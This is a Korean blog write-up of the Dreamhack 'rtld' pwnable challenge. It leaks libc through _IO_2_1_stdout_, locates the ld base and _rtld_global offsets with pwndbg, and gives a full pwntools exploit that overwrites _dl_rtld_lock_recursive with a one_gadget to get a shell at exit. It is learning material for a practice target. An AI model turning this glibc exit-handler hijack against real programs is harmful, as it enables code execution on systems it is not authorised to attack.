rtld = Return To LD file
서버 환경이 ubuntu16.04여서 docker로 가상 환경 구축 시도. Image build 계속 실패하길래
https://stackoverflow.com/questions/24991136/docker-build-could-not-resolve-archive-ubuntu-com-apt-get-fails-to-install-a : 이 사이트 참고해서 해결함
sudo docker build --network=host -t ubuntu1604 .
- Partial RELRO Canary found NX enabled PIE enabled
- _IO_2_1_stdout_ 주소를 통해 libc_leak 가능
- 원하는 주소에 원하는 값을 '딱 한 번' 넣을 수 있음
- pie_base leak할 방법 없으므로 GOT overwrite with getshell() 불가능
프로그램 종료 순서
1. main ret 시 __libc_start_call_main+128로 리턴
2. __GI_exit 호출(이 함수에서 프로그램이 최종 종료된다)
3. __GI_exit 함수를 따라가다 보면 __run_exit_handlers를 호출
4. 해당 함수는 exit_function 구조체 멤버 변수인 flavor 값에 따라서 함수를 호출하는데, 기본적으로는 로더 라이브러리 내부에 존재하는 _dl_fini 함수를 호출
5. glibc/elf/dl_fini.c 소스코드를 확인하니 __rtld_lock_lock_recursive 함수 포인터를 원가젯으로 덮으면 되겠다
void _dl_fini (void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
// 이하 생략
exploit을 위한 각종 옾셋 구하기
- ld_base - libc_base
pwndbg> p/x 0x7f13bf458000-0x7f13bf08e000
$1 = 0x3ca000
- _rtld_global 구조체의 ld파일 내 offset
pwndbg> p/x 0x00007f4bcdec8040-0x7f4bcdca2000
$1 = 0x226040
- _dl_rtld_lock_recursive 함수의 _rtld_global 구조체 내 offset
문제파일에 포함된 ld파일은 stripped file => 디버깅 심볼이 없어 분석 불가능
root@2d7dd84e9288:/home/rtld$ /lib/x86_64-linux-gnu/libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
라이브러리 세부 버전 확인 후 구글에 'Ubuntu GLIBC 2.23-0ubuntu11.3 libc6 dbg' 라고 검색하여 해당 버전의 libc6-dbg 패키지 다운로드 => GNU C 라이브러리의 디버깅 심볼을 포함하는 패키지이므로 분석 용이
https://www.ubuntuupdates.org/package/core/xenial/main/updates/libc6-dbg
하위 폴더의 ld-2.23.so 파일 분석
pwndbg> p &_rtld_global._dl_load_lock
$2 = (__rtld_lock_recursive_t *) 0x226948 <_rtld_local+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$3 = (void (**)(void *)) 0x226f48 <_rtld_local+3848>
- 원가젯 주소
exploit 코드
from pwn import *
# p = process("./rtld")
p = remote("host3.dreamhack.games", 23748)
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000
dl_rtld_lock_recursive = ld_base + 0x226040 + 3848 # _rtld_global+3848
one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(libc_base+one_gadgets[1])) # 1, 3 된다
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] send_sig (0) | 2023.06.23 |
---|---|
[Dreamhack Wargame] SigReturn Oriented Programming (0) | 2023.06.23 |
[Dreamhack Wargame] environ (0) | 2023.06.22 |
[Dreamhack Wargame] Overwrite _rtld_global (0) | 2023.06.21 |
[Dreamhack Wargame] master_canary (level2) (0) | 2023.06.20 |